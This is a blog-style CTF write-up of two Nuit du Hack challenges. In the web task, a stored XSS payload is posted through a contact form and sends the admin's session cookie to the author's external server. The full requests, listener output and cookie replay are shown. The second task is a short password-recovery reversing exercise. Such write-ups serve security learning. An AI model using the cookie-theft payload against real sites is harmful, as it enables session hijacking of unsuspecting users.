Last weekend i gave Nuit du Hack CTF a try with my team and here is the write-up for two simple tasks, one web and one reverse engineering.
Purple Posse Market – Web 200 points
In this task we we are given,
Description:
You work for the government in the forensic department, you are investigating on an illegal website which sells illegal drugs and weapons, you need to find a way to get the IBAN of the administrator of the website. URL: http://purplepossemarket.quals.nuitduhack.com/
Solution:
Once visiting the URL and browsing the web site, we noticed that there is a contact form that let us to contact the admin, also we noticed that ‘The administrator is currently online’.
http://purplepossemarket.quals.nuitduhack.com/contact
Immediately Cross-Site Scripting came to my mind , specially when our target was retrieve IBAN number for the admin, so let give it a try 🙂
HTTP Request:
POST /contact HTTP/1.1 Host: purplepossemarket.quals.nuitduhack.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://purplepossemarket.quals.nuitduhack.com/contact Cookie: connect.sid=s%3A7RMbhgpAbxxiFONDJBDFb1WRo8RP8qVz.5ASBx5UqcALxhWjwX0SLFkPkJA2Q%2FWNMmn1d62BiyGw; _csrf=fR3NloowZowPdjmbtb_bfaS_ Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 141 email=diaa.diab.2012%40gmail.com&content=%3Cimg+src%3D%22http%3A%2F%2F192.241.147.132%3A8080%22%3E&_csrf=rFPNT3XC-sIJOTgytNiidIiMjy2_EcH92nAA
Once we sent the message, the code was executed by admin browser and we got back from him into our netcat listener.
root@ctf:~/dia2diab/ctfs/ndh# nc -lvvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [163.172.102.12] port 8080 [tcp/http-alt] accepted (family 2, sport 33830) GET / HTTP/1.1 Referer: http://localhost:3001/admin/messages/55/ User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en,* Host: 192.241.147.132:8080
Now we will give a simple payload to steal the admin cookie.
HTTP Request:
POST /contact HTTP/1.1 Host: purplepossemarket.quals.nuitduhack.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://purplepossemarket.quals.nuitduhack.com/contact Cookie: connect.sid=s%3ATtuZqZEaCyxyGNDzWwC0F6vh8LFk8t9D.jt8184%2Bvv0Rdk%2FeyIfTEi3d1Rk7EbjFGRpD0YpiN%2Bw4; _csrf=fR3NloowZowPdjmbtb_bfaS_ Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 214 email=diaa.diab.2012%40gmail.com&content=%3Cimg+src%3Dd+onerror%3D%22src%3D%27http%3A%2F%2F192.241.147.132%3A8080%2Fc%3D%27%2BencodeURIComponent%28document.cookie%29%22%3E&_csrf=6ruU6gQi-linArxmgaGwAJ5qkheRheikIoAE
And that was it, we got the admin’s cookie to our server.
root@ctf:~/dia2diab/ctfs/ndh# nc -lvvp 8080 Listening on [0.0.0.0] (family 0, port 8080) Connection from [163.172.102.12] port 8080 [tcp/http-alt] accepted (family 2, sport 45124) GET /c=connect.sid%3Ds%253A7h5vTum7qxyriWA7ntDvn5i7g6UADEYg.eWcNTJgmIe5mzTeoENWbrLK%252BRpV%252B8Poukdg3e%252BwHjVk HTTP/1.1 Referer: http://localhost:3001/admin/messages/58/ User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en,* Host: 192.241.147.132:8080
Now we have the admin’s cookie, it’s the time to access his panel and see the secrets.
Cookie:
s%3A7h5vTum7qxyriWA7ntDvn5i7g6UADEYg.eWcNTJgmIe5mzTeoENWbrLK%2BRpV%2B8Poukdg3e%2BwHjVk
HTTP Request:
GET /admin/ HTTP/1.1 Host: purplepossemarket.quals.nuitduhack.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: connect.sid=s%3A7h5vTum7qxyriWA7ntDvn5i7g6UADEYg.eWcNTJgmIe5mzTeoENWbrLK%2BRpV%2B8Poukdg3e%2BwHjVk; _csrf=fR3NloowZowPdjmbtb_bfaS_ Connection: close Upgrade-Insecure-Requests: 1
Now we are in and we can see the admin’s IBAN number that was the same as the flag 🙂
Flag: IBAN FR14 2004 1010 0505 0001 3M02 606
Matriochka step 1 – Reverse 35 points
In this task we are given,
Description:
Can you… Reverse it ? Analyse it ? Calculate it ? Keygen it ? Modify it ? Enjoy yourself 🙂
By doing basic analysis for that binary, it was ELF 64-bit LSB, by running it it needs a password as first argument.
Using library call tracer (ltrace), we found the binary use strlen and strcmp.
root@ctf:~/dia2diab/ctfs/ndh# ltrace ./step1.bin AAAA __libc_start_main(0x400666, 2, 0x7fffcfcbe548, 0x400820 <unfinished ...> strlen("AAAA") = 4 strcmp("AAAA", "Tr4laLa!!!") = -19 puts("Try again :("Try again 😦 ) = 13 +++ exited (status 0) +++
So let’s load it into IDA to complete the full picture about it.
The sequence of the function calls as the following
main function -> mmm function -> you function -> touch function -> my function .
my function is the function that responsible for check our string input and according to this check it will be redirect the flow of the program to print “Well done :)” or “Try again :(“
The decompiled code from IDA for ‘my’ function
unsigned __int64 __fastcall my(const char *a1) { char v1; // ST17_1@3 unsigned __int64 v3; // [sp+18h] [bp-18h]@1 signed __int64 v4; // [sp+20h] [bp-10h]@2 unsigned __int64 v5; // [sp+28h] [bp-8h]@2 unsigned __int64 i; // [sp+28h] [bp-8h]@6 v3 = strlen(a1); if ( v3 > 1 ) { v5 = 0LL; v4 = v3 - 1; while ( v3 >> 1 > v5 ) { v1 = a1[v5]; a1[v5] = a1[v4]; a1[v4] = v1; ++v5; --v4; } } if ( !strcmp(a1, "Tr4laLa!!!") ) { puts("Well done :)"); for ( i = 0LL; i <= 0x33D9F; ++i ) fputc((char)(*(_BYTE *)(i + 4196608) ^ a1[i % v3] ^ 0x30), _bss_start); } else { puts("Try again :("); } return v3; }
The function takes a pointer to our string and start to process it inside while loop to make changes for a specific chars, after this it compares it with ‘Tr4laLa!!!’ string usin ‘strcmp’ function.
#! /usr/bin/env python a1 = [ord(i) for i in "Tr4laLa!!!"] # a1 = [ord(i) for i in "!!4laLa!rT"] v3 = len(a1) v5 = 0 v4 = v3 - 1 while ((v3 >> 1) > v5): v1 = a1[v5] a1[v5] = a1[v4] a1[v4] = v1 v5 += 1 v4 -= 1 print "".join(chr(j) for j in a1)
By running it it gave us the correct password that had some special chars that prevented us to give it as a first argument, because of this we used base64 to decode the encoded value of the password.
root@ctf:~/dia2diab/ctfs/ndh# python step1.py !!!aLal4rT root@ctf:~/dia2diab/ctfs/ndh#
root@ctf:~/dia2diab/ctfs/ndh# ./step1.bin `echo "ISEhYUxhbDRyVA==" | base64 -d` > tmp 2> step2.bin root@ctf:~/dia2diab/ctfs/ndh# cat tmp Well done 🙂
Flag: !!!aLal4rT
Hope you enjoyed reading ! 🙂